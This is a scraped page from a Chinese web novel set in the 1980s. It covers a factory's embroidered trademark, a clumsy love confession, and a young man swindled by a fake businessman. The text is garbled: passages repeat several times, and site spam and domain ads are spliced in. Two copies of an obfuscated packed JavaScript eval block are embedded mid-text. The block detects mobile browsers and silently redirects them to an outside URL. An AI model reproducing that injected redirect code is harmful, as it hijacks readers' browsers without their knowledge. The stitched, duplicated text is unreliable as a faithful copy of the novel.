丘奉贤踉跄着走到保险库,拿起他买的样品,翻来覆去地找,果然在裙摆侧缝开衩上方发现了一个极其精巧、用特殊针法绣成的艺术体“柒”字。 它那么小,那么不显眼,却又那么致命! 它像一道无法逾越的沟壑,把他所有的投机和侥幸彻底击碎。 “完了……全完了……” 丘奉贤望着满仓库的“废品”,声音抖得不成样子。 他脑子里“嗡”的一声,想起第一服装厂前两年的光景。 就是因为堆了一仓库卖不出去的货,差点连厂门都关了。 仓库冰冷的水泥地上,映着他失魂落魄的影子。 丘奉贤的双腿一软,缓缓滑坐在地上,后背靠着冰凉的货箱,眼泪像断了线的珠子,却怎么也流不出来,只剩下满心的悔恨,像寒冬的冰水,从头顶一直凉到脚底板。 而与此同时,第一服装厂的办公室里。 送走王大海,张国强脸上的褶子都笑开了花,心里头那叫一个畅快。 他望着窗外车间里机器嗡嗡转、工人们手脚不停的热闹劲儿,心里头对周柒柒的感激和佩服,那真是没法说。 他抓起桌上的老式电话,手指在拨号盘上转得飞快,拨通了军属区的号码。 等那边接起,他嗓门亮堂地说要找“周柒柒师傅,语气里的兴奋劲儿压都压不住。 “喂?柒柒!哎呦,你是没看见刚才那个王大海的嘴脸! 张国强隔着电话线都想比画两下,急吼吼地把刚才的胜仗说给她听, “你是不知道啊,这家伙,以前鼻孔朝天,今天在我这儿,那叫一个点头哈腰,就差给我作揖了!还说什么‘张哥’、‘张厂长’,早干嘛去了!我直接让他去销售科登记排队,排到猴年马月去吧!看他那张脸,啧啧,跟吃了苍蝇似的! 电话那头的周柒柒听着他绘声绘色的描述,嘴角忍不住弯了弯,轻笑出声。 “张厂长,这下可算扬眉吐气了…… 张国强一拍大腿,声音拔高了几分,充满了由衷的敬佩。 “柒柒啊!你这‘柒’字标,简直是神来之笔!要不是你这个标,像王大海那样的肯定扭头就去批发便宜的仿货了,哪会来我这儿受气?你这招,防住了多少豺狼虎豹啊! 提到那个独特的商标,周柒柒握着听筒的手指轻轻动了动,语气里也多了几分感慨。 “说实话,张厂长,这也多亏马师傅和她那几个姐妹。 当初商量着做商标的时候,周柒柒心里打的算盘是,这双面异色暗线绣的技法,本来就只有她自己会。 这绣法本就不简单,先前摆摊那会儿,最多也就几十件,她自己动手还应付得过来。 可现在是生产线,动不动就是几千上万件,她一个人哪绣得过来? 本来都打算着,自己设计个简单点的绣法,可转念一想,简单的绣法会的人多,到时候盗版肯定满天飞,可那会儿也没别的法子。 谁能想到,就在这节骨眼上,马师傅站了出来,说她是苏州来的,这种传统技法,她就会! 那消息传来,简直是解了周柒柒的燃眉之急。 更叫人惊喜的是,不光马师傅会,她在苏州的几个妹妹也都会! 当年她们都是跟着同一个老师傅学的手艺,只是后来遭了些动荡,这些技艺也就没了用武之地。 那些姐妹里头,只有马师傅有机会跟着丈夫来了G市,得了份正式工作,其余的都在苏州的小城里当着家庭妇女。 这可太可惜了— —这可是能算得上非遗的苏绣老技法啊! 有这般手艺的老师傅,哪能窝在家里带孩子做饭? 周柒柒当时就拍了板,要把这些师傅都请到第一服装厂来,给高薪! 她开出的工钱,实在叫人没法拒绝,没几天,几个姐妹就在厂里聚齐了。 虽说当了这么多年家庭妇女,手里的针线早就搁下了,可真等拿起针来,竟一点儿没生疏,拿起就绣,“柒字标绣得那叫一个漂亮。 周柒柒当即就跟她们签了长期合约,张国强也在厂里临时腾了几间宿舍让她们住着。 这几位姐妹都已是三四十岁的年纪,操劳家事大半辈子,可拿起针线的那一刻,眼里的光都不一样了,像是重新活过来一般,透着股子精气神。 周柒柒顿了顿,语气带着一丝不易察觉的怅惘和庆幸。 “现在想想,要不是我们……嗯,要不是第一服装厂挺过来了,重新开了生产线,像马师傅她们这样的老手艺人,可能就真的回家带孙子,或者去干别的了。 “这门精巧的手艺,慢慢地,可能真的就失传了。所以啊,我们这厂子好起来,不止是赚钱,也算是……留住了点东西。 张国强在电话那头听得连连点头,深有同感。 “对对对!柒柒你说得对!这意义大着呢! 周柒柒的思绪很快从感慨中抽离,语气重新变得明快而充满干劲。 “她们的经历,也让我下了决心,下一批春秋新品,我想主打‘新中式’!把更多传统元素和现代设计揉到一块儿,做出咱们自己的特色。行了,灵感上来了,我得赶紧去画设计图,不然一会儿说不定就忘了! “哎!好好好!你快去!快去!灵感这东西金贵得很! 张国强一听“新品、“新中式,眼睛都亮了,赶紧催促她挂电话,生怕耽误了这位“财神奶奶的思路。 你的朋友正在书荒,快去帮帮他吧 —这可是能算得上非遗的苏绣老技法啊! 有这般手艺的老师傅,哪能窝在家里带孩子做饭? 周柒柒当时就拍了板,要把这些师傅都请到第一服装厂来,给高薪! 她开出的工钱,实在叫人没法拒绝,没几天,几个姐妹就在厂里聚齐了。 虽说当了这么多年家庭妇女,手里的针线早就搁下了,可真等拿起针来,竟一点儿没生疏,拿起就绣,“柒”字标绣得那叫一个漂亮。 周柒柒当即就跟她们签了长期合约,张国强也在厂里临时腾了几间宿舍让她们住着。 这几位姐妹都已是三四十岁的年纪,操劳家事大半辈子,可拿起针线的那一刻,眼里的光都不一样了,像是重新活过来一般,透着股子精气神。 周柒柒顿了顿,语气带着一丝不易察觉的怅惘和庆幸。 “现在想想,要不是我们……嗯,要不是第一服装厂挺过来了,重新开了生产线,像马师傅她们这样的老手艺人,可能就真的回家带孙子,或者去干别的了。” “这门精巧的手艺,慢慢地,可能真的就失传了。所以啊,我们这厂子好起来,不止是赚钱,也算是……留住了点东西。” 张国强在电话那头听得连连点头,深有同感。 “对对对!柒柒你说得对!这意义大着呢!” 周柒柒的思绪很快从感慨中抽离,语气重新变得明快而充满干劲。 “她们的经历,也让我下了决心,下一批春秋新品,我想主打‘新中式’!把更多传统元素和现代设计揉到一块儿,做出咱们自己的特色。行了,灵感上来了,我得赶紧去画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959865|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设计图,不然一会儿说不定就忘了!” “哎!好好好!你快去!快去!灵感这东西金贵得很!” 张国强一听“新品”、“新中式”,眼睛都亮了,赶紧催促她挂电话,生怕耽误了这位“财神奶奶”的思路。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 —这可是能算得上非遗的苏绣老技法啊! 有这般手艺的老师傅,哪能窝在家里带孩子做饭? 周柒柒当时就拍了板,要把这些师傅都请到第一服装厂来,给高薪! 她开出的工钱,实在叫人没法拒绝,没几天,几个姐妹就在厂里聚齐了。 虽说当了这么多年家庭妇女,手里的针线早就搁下了,可真等拿起针来,竟一点儿没生疏,拿起就绣,“柒字标绣得那叫一个漂亮。 周柒柒当即就跟她们签了长期合约,张国强也在厂里临时腾了几间宿舍让她们住着。 这几位姐妹都已是三四十岁的年纪,操劳家事大半辈子,可拿起针线的那一刻,眼里的光都不一样了,像是重新活过来一般,透着股子精气神。 周柒柒顿了顿,语气带着一丝不易察觉的怅惘和庆幸。 “现在想想,要不是我们……嗯,要不是第一服装厂挺过来了,重新开了生产线,像马师傅她们这样的老手艺人,可能就真的回家带孙子,或者去干别的了。 “这门精巧的手艺,慢慢地,可能真的就失传了。所以啊,我们这厂子好起来,不止是赚钱,也算是……留住了点东西。 张国强在电话那头听得连连点头,深有同感。 “对对对!柒柒你说得对!这意义大着呢! 周柒柒的思绪很快从感慨中抽离,语气重新变得明快而充满干劲。 “她们的经历,也让我下了决心,下一批春秋新品,我想主打‘新中式’!把更多传统元素和现代设计揉到一块儿,做出咱们自己的特色。行了,灵感上来了,我得赶紧去画设计图,不然一会儿说不定就忘了! “哎!好好好!你快去!快去!灵感这东西金贵得很! 张国强一听“新品、“新中式,眼睛都亮了,赶紧催促她挂电话,生怕耽误了这位“财神奶奶的思路。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 —这可是能算得上非遗的苏绣老技法啊! 小说更新,记住域名caixs**(请来才 小说 看最新章节 完整章节) 有这般手艺的老师傅,哪能窝在家里带孩子做饭? 周柒柒当时就拍了板,要把这些师傅都请到第一服装厂来,给高薪! 她开出的工钱,实在叫人没法拒绝,没几天,几个姐妹就在厂里聚齐了。 虽说当了这么多年家庭妇女,手里的针线早就搁下了,可真等拿起针来,竟一点儿没生疏,拿起就绣,“柒”字标绣得那叫一个漂亮。 周柒柒当即就跟她们签了长期合约,张国强也在厂里临时腾了几间宿舍让她们住着。 这几位姐妹都已是三四十岁的年纪,操劳家事大半辈子,可拿起针线的那一刻,眼里的光都不一样了,像是重新活过来一般,透着股子精气神。 周柒柒顿了顿,语气带着一丝不易察觉的怅惘和庆幸。 “现在想想,要不是我们……嗯,要不是第一服装厂挺过来了,重新开了生产线,像马师傅她们这样的老手艺人,可能就真的回家带孙子,或者去干别的了。” “这门精巧的手艺,慢慢地,可能真的就失传了。所以啊,我们这厂子好起来,不止是赚钱,也算是……留住了点东西。” 张国强在电话那头听得连连点头,深有同感。 “对对对!柒柒你说得对!这意义大着呢!” 周柒柒的思绪很快从感慨中抽离,语气重新变得明快而充满干劲。 “她们的经历,也让我下了决心,下一批春秋新品,我想主打‘新中式’!把更多传统元素和现代设计揉到一块儿,做出咱们自己的特色。行了,灵感上来了,我得赶紧去画设计图,不然一会儿说不定就忘了!” “哎!好好好!你快去!快去!灵感这东西金贵得很!” 张国强一听“新品”、“新中式”,眼睛都亮了,赶紧催促她挂电话,生怕耽误了这位“财神奶奶”的思路。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 —这可是能算得上非遗的苏绣老技法啊! 有这般手艺的老师傅哪能窝在家里带孩子做饭? 周柒柒当时就拍了板要把这些师傅都请到第一服装厂来给高薪! 她开出的工钱实在叫人没法拒绝没几天几个姐妹就在厂里聚齐了。 虽说当了这么多年家庭妇女手里的针线早就搁下了可真等拿起针来竟一点儿没生疏拿起就绣“柒”字标绣得那叫一个漂亮。 周柒柒当即就跟她们签了长期合约张国强也在厂里临时腾了几间宿舍让她们住着。 这几位姐妹都已是三四十岁的年纪操劳家事大半辈子可拿起针线的那一刻眼里的光都不一样了像是重新活过来一般透着股子精气神。 周柒柒顿了顿语气带着一丝不易察觉的怅惘和庆幸。 “现在想想要不是我们……嗯要不是第一服装厂挺过来了重新开了生产线像马师傅她们这样的老手艺人可能就真的回家带孙子 “这门精巧的手艺慢慢地可能真的就失传了。所以啊我们这厂子好起来不止是赚钱也算是……留住了点东西。” 张国强在电话那头听得连连点头深有同感。 “对对对!柒柒你说得对!这意义大着呢!” 周柒柒的思绪很快从感慨中抽离语气重新变得明快而充满干劲。 “她们的经历也让我下了决心下一批春秋新品我想主打‘新中式’!把更多传统元素和现代设计揉到一块儿做出咱们自己的特色。行了灵感上来了我得赶紧去画设计图不然一会儿说不定就忘了!” “哎!好好好!你快去!快去!灵感这东西金贵得很!” 张国强一听“新品”、“新中式”眼睛都亮了赶紧催促她挂电话生怕耽误了这位“财神奶奶”的思路。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第199章 月亮代表我的心 放下电话,办公室里就剩张国强一个人了。 巨大的喜悦和成就感像暖流一样在他胸膛里涌动,他迫切地想找人分享这份快乐。 环顾四周,目光落在了墙角那台蒙了层薄灰的落地式收音机上。 那是前任厂长吕守钱留下的“奢侈品”,吕守钱倒了台,这玩意儿就扔这儿了。 以前张国强天天忙得脚不沾地,厂里的事桩桩件件都得他扛着,哪有闲工夫摆弄这东西? 可今儿不一样了! 他一挺身从椅子上站起来,迈着大步走过去,袖子往手上蹭了蹭,胡乱在收音机上按了几个按钮。 先是一阵“滋滋啦啦”的电流声,刺得人耳朵有点痒,紧跟着,一段慢悠悠、甜丝丝的调子就淌了出来。 是邓丽君的《月亮代表我的心》,这歌这两年火得很,街头巷尾谁不会哼两句。 “你问我爱你有多深……” 温柔缠绵的歌声瞬间充满了小小的办公室。 张国强平时五音不全,更不懂什么情调,但此刻心情实在太好,这旋律又格外应景(虽然他还没意识到应什么景),竟也跟着摇头晃脑,笨拙地哼了起来。 他踱到窗边,小心翼翼地捧起窗台上那盆小小的、叶片碧绿油亮的吊兰。 这吊兰还是上次从赵大梅那儿买的,他搁在办公室里,天天浇水松土,养得别提多上心了。 怀里抱着这盆透着生气,还藏着点说不清道不明念想的绿植,听着《月亮代表我的心》,张国强这颗整天紧绷着的心,难得松快下来。 他有点忘形了,抱着花盆轻轻晃着身子,手指头无意识地在吊兰光滑的叶子上摩挲,冰凉的叶片蹭得指尖痒痒的。 “我爱你有几分……” 就在他哼到这一句,心情愉悦到顶点时。 “叩叩叩!” 办公室的门被轻轻敲响了。 张国强浑身一僵,歌声戛然而止,像被掐住了脖子。 他猛地回头,只见虚掩的门缝被推开,赵大梅那张清秀却总带着点疏离感的脸庞出现在门口。 她手里拿着一个单据本,显然是来替李萍提货的。 时间仿佛凝固了。 张国强抱着绿萝,姿势僵硬,脸上还残留着刚 才忘我的笑容和哼歌的口型,整个人像被施了定身法。 巨大的尴尬如同海啸般瞬间将他淹没,他感觉自己的脸“腾地一下烧了起来,一路红到了脖子根! 恨不得找个地缝钻进去! 尤其是想到自己刚才还哼着“我爱你有几分。 ……天啊!她听见了多少?! “张……张厂长? 赵大梅显然也愣了一下,没想到会看到张国强这样……嗯,不同寻常的一面。 她的目光在他怀里那盆自己卖出去的吊兰上打了个转,又落回他那张快要冒烟的脸上。 眼尾飞快地挑了一下,像是藏着点笑意,可快得让人抓不住,眨眼就恢复了往常的平静。 “我……我来替萍姐拿下午提货的单子。 她的声音还是那样,不高不低,安安稳稳的,好像刚才什么都没听见,什么都没看见。 “哦!哦!提货单!对对对! 张国强这才像是刚回过神,手忙脚乱地把吊兰往窗台上放,慌里慌张的,差点把花盆碰倒,赶紧伸手扶了一把才稳住。 他几乎是同手同脚地冲到办公桌后,拉开抽屉一阵乱翻,总算找到了单据。 递过去的时候,手指尖都在微微发抖。 赵大梅接过单据,仔细核对了一下,点点头:“谢谢张厂长。 她转身欲走,目光却又一次扫过窗台的吊兰,似乎犹豫了一下。 张国强捕捉到她这个细微的眼神,心猛地一跳! 机会! 他深吸一口气,像是给自己打气,猛地拉开办公桌旁边一个柜子的门。 里面赫然整齐地码放着一摞书:《家庭盆栽养护大全》、《花卉病虫害防治》、《观叶植物鉴赏与培育》…… 旁边还有几个小纸包和玻璃瓶,上面贴着标签,“农科院**矮牵牛种子、“兰花专用营养液、“缓释花肥…… “那个……大梅同志! 张国强声音有些发紧,指着那一柜子东西, “我看你挺喜欢养花的,这些……这些书,还有这些种子、营养液啥的,是我托人从农科院那边弄来的,都是好东西!你……你拿回去瞧瞧?兴许用得上呢? 赵大梅看着那一柜子明显 是花了心思准备的东西,眼中闪过一丝真实的惊讶和喜爱。 她对花花草草的热爱是发自内心的。 可那点光亮没一会儿就淡下去了,又被她平日里那股子清醒和客气压了下去。 “张厂长,这太贵重了。” 她轻轻摇了摇头,语气还是那么温和,可话里的劲儿却挺足, “您的好意我心领了,东西我不能白要,多少钱?我给您。”说着,就往口袋里摸钱包。 张国强急了,连忙摆手。 “不不不!真不用!大梅同志,你千万别有负担!你救了我家那仨皮猴的命,我一直都没好好谢过你!这点东西算什么?真的……” 赵大梅打断他,眼神清澈而认真。 “张厂长,您的心意我明白,但一码归一码。上次我去看孩子们,孩子们硬塞给我好几件小孩的新衣服,那情分我已经领了,也很感激。” 她往回抽了抽手,态度没有丝毫转圜的余地。 “这些花肥种子,是额外的,而且一看就不便宜。您要是不收钱,这些东西,我真的不能要。” 张国强看着她倔强的眼神,心里又是无奈又是心疼。 他知道赵大梅的脾气,独立、要强,不愿意欠人情,尤其是物质上的。 他重重地叹了口气,肩膀微微垮了下来。 “唉……行吧行吧,拗不过你。那就……按进价算吧。” 他胡乱报了个很低的数字,只想快点结束这尴尬的推让。 赵大梅没再争辩,从钱包里数出大于那个数字一倍的钱,仔细地放在桌上,然后小心地把那些书和种子、营养液收进自己带来的布袋里。 整个过程,办公室里的气氛有些凝滞,只有桌上那台收音机还在不知疲倦地播放着:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968186|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你去想一想,你去看一看,月亮代表我的心……” 张国强看着她收拾好东西,拎起布袋,转身走向门口。 就在她伸手要拉开门的瞬间,一股巨大的勇气,混合着刚才那首歌带来的莫名冲动,猛地冲上了张国强的头顶! 他几乎是脱口而出,声音因为紧张而有些发颤,却又异常清晰: “大梅同志!你等等!” 赵大梅的手停在门把上,转过身,平静 地看着他眼神里带着询问。 张国强的心脏在胸腔里狂跳几乎要蹦出来。 他深吸一口气鼓足了这辈子最大的勇气直视着赵大梅的眼睛一字一句笨拙却无比真诚地说。 “大梅同志!我……我稀罕你!是真稀罕!不是因为你帮我照顾孩子也不是因为别的!就是……就是稀罕你这个人!稀罕你的实在稀罕你的韧劲儿!” “我知道……我知道你可能觉得我配不上或者……或者心里有别的顾虑。” 他的额头上渗出细密的汗珠顺着鬓角往下滑但仍然说着 “但我今天把话撂这儿我张国强认准的事儿认准的人就不会轻易撒手!我是真心的!我会……我会一直等着!等你愿意……愿意给我个机会!” 他这番话说得又快又急脸涨得通红额头上都冒出了细汗眼神却亮得惊人 小说的域名caixs?(请来才 小说 看最新章节 完整章节)充满了豁出去的决心和毫不掩饰的赤诚。 背景音乐里邓丽君那温柔缠绵的歌声恰如其分地唱到了高潮仿佛在为这笨拙而真挚的告白做着注脚: “你问我爱你有多深我爱你有几分?我的情也真我的爱也真月亮代表我的心……” 歌声在小小的办公室里回荡将这一刻的紧张、尴尬、勇气和期待都渲染得格外清晰。 赵大梅静静地站在那里听着张国强这番石破天惊的告白又听着那仿佛直击心灵的歌词。 她的身体明显僵硬了一下脸上那层惯有的平静终于被打破浮现出复杂的神色。 有震惊有无措有一丝慌乱甚至……似乎还有一丝极淡的、被触动后的涟漪? 但更多的是一种深深的犹豫和挣扎仿佛有千斤重担压在她的心头。 她的嘴唇微微动了动似乎想说什么最终却只是深深地看了张国强一眼。 那眼神里有太多东西张国强看不懂也来不及解读。 然后她猛地转过身拉开门几乎是逃也似的快步离开了办公室留下一个决绝而仓促的背影。 “砰。” 门被轻轻带上发出一声闷响。 办公室里只剩下张国强一个人剧烈的心跳声和收音机里依旧在深情吟唱的旋律: “轻轻的一个吻已经打动我的心……深深的一段情叫我思念到如今……” 张国强还傻愣愣地站在原地望着空荡荡的门口刚才那股冲天的勇气像是被瞬间抽干了浑身的力气都卸了只剩下满心的忐忑和说不清道不明的失落。 但他眼底深处那簇名为“不放弃”的火苗却因为这终于说出口的心里话反而烧得更旺了些。 第200章 风口上的猪 在华国改革开放的档口,机会遍地都是。 都说了,一头猪站在风口上都能跟着飞起来。 可要是碰上那种蠢猪,那是连风都绕着走的。 周柒柒为了她那个“柒”字牌忙得脚不沾地的这一个月,许树也没闲着。 就在周柒柒去剪彩的同一天,许树也揣着800块钱坐上了去花城的火车。 这八百块钱,相当于普通青工两年的工资了,可是一笔巨款。 火车“哐当哐当”摇晃了十几个小时,终于喘着粗气停在了花城火车站。 许树拎着他那个半新的皮包,随着汹涌的人流挤出站口。 潮湿闷热的空气裹挟着陌生的粤语、汗味和隐约的海腥味扑面而来,他非但没觉得不适,反而深深吸了一口气,仿佛吸进去的都是钞票的油墨香。 “机会!遍地都是机会!” 许树在心里呐喊,眼睛放光地打量着这座比G市繁华十倍的城市。 高楼大厦是真不少,虽说也就几层楼的光景,可在那会儿已是稀罕物。 马路上车来车往,热闹得很。 穿喇叭裤、花衬衫的年轻小伙,胳膊底下夹着录音机,大摇大摆地在街上走,里头飘出邓丽君那甜腻腻的歌声,老远都能听见。 这一切都印证了工友的吹嘘——在这里,弯腰就能捡到钱! 他许树,马上就要成为人上人了! 他做的第一件事不是找便宜的落脚点,也不是打听市场行情,而是直奔百货大楼。 工友那句“人靠衣装马靠鞍,没派头谁跟你做大生意?”在他脑海里嗡嗡作响。 他在百货大楼里转来转去,精心挑了一套最时兴的藏青色“涤卡”西装,还是带垫肩的! 又配了件雪白的“的确良”衬衫,一条笔挺的西裤,一双擦得锃亮、能照出人影的“三接头”黑皮鞋。 就连公文包,也换了个更挺括的仿皮新款。 换上这身行头,对着百货大楼光亮的橱窗玻璃照了照,许树感觉自己瞬间脱胎换骨,俨然成了港片里走出来的大老板。 这身行头,前前后后花了他将近一百块! 可他一点都不心疼,反倒觉得值当! 这可是“成功人士”的门面,是能 撬开财富大门的敲门砖花多少钱都不亏。 为了撑住“许老板”的身份他咬了咬牙住进了一家中等旅馆的单间。 第二天一早许树收拾得整整齐齐意气风发地往传说中的批发市场“高第街”赶去。 狭窄的街巷两旁摊位林立货物堆积如山人声鼎沸简直像个巨大的聚宝盆。 电子表闪烁着廉价的红绿光花花绿绿的尼龙布料像瀑布一样挂满架子折叠伞、录音磁带、**镜…… 各种只在传闻里听过的“时髦货”这儿是一样不缺。 许树看得眼睛都直了心里头的热血“咚咚”往上涌。 摊贩们个个眼尖一瞅见他这身崭新的“老板行头”。 再看看他眼里那藏不住的生涩和贪婪立马一窝蜂似的围了上来热情得让人招架不住。 普通话夹着粤语七嘴八舌。 “老板!睇下啦!最新款的港产电子表平靓正啊!” “老板老板!正宗日本尼龙布花色最新做衫最靓女啦!” “老板识货!我哩度有批录音带邓丽君、罗文、许冠杰齐晒!批发价益你啦!” 许树被这阵仗捧得飘飘然觉得自己真成了被人追捧的大老板。 他哪里懂什么货比三家辨别真假? 听着摊贩舌灿莲花地吹嘘看着那些在灯光下闪闪发光的“港产”、“进口”标签他只觉得弯腰就能捡钱。 一个看起来特别“憨厚老实”的中年摊主操着半生不熟的普通话拍着胸脯保证他的货“质量顶呱呱海关刚放行”。 许树被哄得晕头转向 几乎没怎么往下砍价就用剩下的六百多块钱一口气买下了一大包花花绿绿的劣质电子表。 还有几匹颜色俗艳得刺眼的玫红色尼龙布那摊主一个劲地推荐说这是“港姐最流行色”。 还给她塞了几张港姐海报。 许树虽然不知道什么是港姐但是看着海报上穿着清凉的美女不由心神荡漾。 他甚至没时间仔细检查只觉得沉甸甸的包裹就是未来的金山银山。 货是“进”了怎么卖出去却成了 难题。 许树学着别人的样子,在街边支了个简陋的摊。 风吹日晒,还要应付顾客的挑拣和砍价,不过两天,他就烦透了。 那些电子表,顾客拿起来按几下,屏幕就时亮时暗,甚至不亮; 尼龙布稍微一扯,边缘就抽丝。 质疑声和嘲笑让他脸上挂不住。 “这什么破生意!又累又受气! 他心里抱怨着, “我是要做大生意的人,哪能天天耗在这种小摊上?跌份! 他草草收了摊,把一堆“破烂塞回那个冒充身份的“公文包,心里头憋着气,决定先犒劳犒劳自己。 晚上,心烦意乱的他决定去见识见识花城有名的舞厅。 舞厅里的彩灯转得人眼晕,邓丽君的靡靡之音顺着墙缝往外钻。 许树找了个角落的卡座坐下,点了三瓶两**五一瓶的珠江啤酒,起开瓶盖咕咚咕咚灌下去,泡沫顺着嘴角往下淌。 冰凉的酒液滑过喉咙,白天白天的挫败好像都随着酒气散了些。 正咂摸着嘴里的苦味,一个穿着花衬衫、手腕子上明晃晃戴着块金表的中年男人端着酒杯凑过来。 屁股往旁边的塑料椅上一沉,椅子发出“吱呀一声响。 “兄弟一个人? 男人说话时带着点广东腔,眼睛笑成了一条缝。 许树眼皮一抬,目光“唰地落在那表上。 批发电子表被坑了,他气不过,去了百货大楼,柜台里那块要价五百八的劳力士他记得真真的——眼前这男人戴的,可不就是那款嘛! 表链在彩灯下闪着光,晃得他眼睛发直。 对方自称姓胡,很健谈,几句话就捧得许树飘飘然。 “许老板一看就是做大生意的料!在这种小摊上混,屈才了! 胡“老板神秘兮兮地压低声音。 “兄弟我手上有个‘稳赚不赔’的大项目,就是缺几个有实力、信得过的合伙人…… 许树一听“大项目、“稳赚不赔,眼睛立刻亮了。 胡“老板描绘的前景极其诱人。 他有“过硬的关系,能搞到当时紧俏的计划内物资批条(比如钢材、化肥),一转手就能赚几 倍甚至十几倍的差价。 “这钱就是给有胆识、有门路的人赚的!像许老板这样的人才跟着**保你几个月就开上上海牌小轿车!” 胡“老板”拍着许树的肩膀一副相见恨晚的样子。 许树看着对方“不凡”的谈吐和那块“名表”再想想自己窝囊的摆摊经历瞬间觉得这才是真正的“快车道”! 可他也算是有点小聪明之前可上过当这次却也不会这么轻易上套。 胡“老板”也许是看出了他的顾虑。 连续几天主动请许树下馆子、喝酒还给他最贵的红塔山抽。 酒桌上老胡一口一个“许总”把许树吹得晕头转向连自己姓啥都快忘了。 他看着老胡随手招来服务员结账时的阔气心里那点犹豫渐渐化成了痒。 很快胡“老板”暗示下一批货马上就要到位了错过这一次下一次不知道要等多久了。 许树毫不犹豫立刻给林瑶拍电报编了个“紧急进货稳赚大钱”的理由 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)让她再找哥哥林彦要钱。 林瑶虽然心里有些打鼓但想到许树信誓旦旦的保证和未来“小汽车”的诱惑还是硬着头皮去求林彦哭着嚎着又要了1000块钱过去。 继续吃吃喝喝了一个礼拜后胡“老板”说第一批货卖出去了当即就给了许树三百块的分红。 他捏着那三张崭新的大团结手指都在抖——这可比摆摊强多了! 还没等他把钱焐热老胡又说要进一批钢材许树想都没想就把这三百块投了进去又催着林瑶要钱。 要到钱之后许树就源源不断地把钱拿给胡“老板”换来远低于投入的分红。 然而林彦家里虽然富裕但也不是财神。 婚前他就给妹妹打了好几百块。 现在许树做生意第一次的八百第二次的一千然后是五百三百一百. 像是无底洞一样。 最后一次的一百块后没过两天林彦再次接到妹妹的电话。 听着她带着哭腔的恳求看着自己干瘪的钱包和旁边挺着肚子、脸色铁青的妻子感到前所未有的压力。 这几个月前前后后他已经给林瑶转了将近三千块完全掏空了小家庭的积蓄。 妻子终于爆发了: “林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱我就去医院把孩子打了!我们离婚!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 倍甚至十几倍的差价。 “这钱,就是给有胆识、有门路的人赚的!像许老板这样的人才,跟着**,保你几个月就开上上海牌小轿车! 胡“老板拍着许树的肩膀,一副相见恨晚的样子。 许树看着对方“不凡的谈吐和那块“名表,再想想自己窝囊的摆摊经历,瞬间觉得这才是真正的“快车道! 可他也算是有点小聪明,之前可上过当,这次却也不会这么轻易上套。 胡“老板也许是看出了他的顾虑。 连续几天主动请许树下馆子、喝酒,还给他最贵的红塔山抽。 酒桌上,老胡一口一个“许总,把许树吹得晕头转向,连自己姓啥都快忘了。 他看着老胡随手招来服务员结账时的阔气,心里那点犹豫渐渐化成了痒。 很快,胡“老板暗示下一批货马上就要到位了,错过这一次,下一次不知道要等多久了。 许树毫不犹豫,立刻给林瑶拍电报,编了个“紧急进货,稳赚大钱的理由,让她再找哥哥林彦要钱。 林瑶虽然心里有些打鼓,但想到许树信誓旦旦的保证和未来“小汽车的诱惑,还是硬着头皮去求林彦,哭着嚎着,又要了1000块钱过去。 继续吃吃喝喝了一个礼拜后,胡“老板说第一批货卖出去了,当即就给了许树三百块的分红。 他捏着那三张崭新的大团结,手指都在抖——这可比摆摊强多了! 还没等他把钱焐热,老胡又说要进一批钢材,许树想都没想就把这三百块投了进去,又催着林瑶要钱。 要到钱之后,许树就源源不断地把钱拿给胡“老板,换来远低于投入的分红。 然而,林彦家里虽然富裕,但也不是财神。 婚前,他就给妹妹打了好几百块。 现在许树做生意,第一次的八百,第二次的一千,然后是五百,三百,一百. 像是无底洞一样。 最后一次的一百块后没过两天,林彦再次接到妹妹的电话。 听着她带着哭腔的恳求,看着自己干瘪的钱包和旁边挺着肚子、脸色铁青的妻子,感到前所未有的压力。 这几个月,前前后后他已经给林瑶转了将近三千块,完全掏空了小家庭的积蓄。 妻子终于爆发了: “林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱,我就去医院把孩子打了!我们离婚! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 倍甚至十几倍的差价。 “这钱,就是给有胆识、有门路的人赚的!像许老板这样的人才,跟着**,保你几个月就开上上海牌小轿车! 胡“老板拍着许树的肩膀,一副相见恨晚的样子。 许树看着对方“不凡的谈吐和那块“名表,再想想自己窝囊的摆摊经历,瞬间觉得这才是真正的“快车道! 可他也算是有点小聪明,之前可上过当,这次却也不会这么轻易上套。 胡“老板也许是看出了他的顾虑。 连续几天主动请许树下馆子、喝酒,还给他最贵的红塔山抽。 酒桌上,老胡一口一个“许总,把许树吹得晕头转向,连自己姓啥都快忘了。 他看着老胡随手招来服务员结账时的阔气,心里那点犹豫渐渐化成了痒。 很快,胡“老板暗示下一批货马上就要到位了,错过这一次,下一次不知道要等多久了。 许树毫不犹豫,立刻给林瑶拍电报,编了个“紧急进货,稳赚大钱 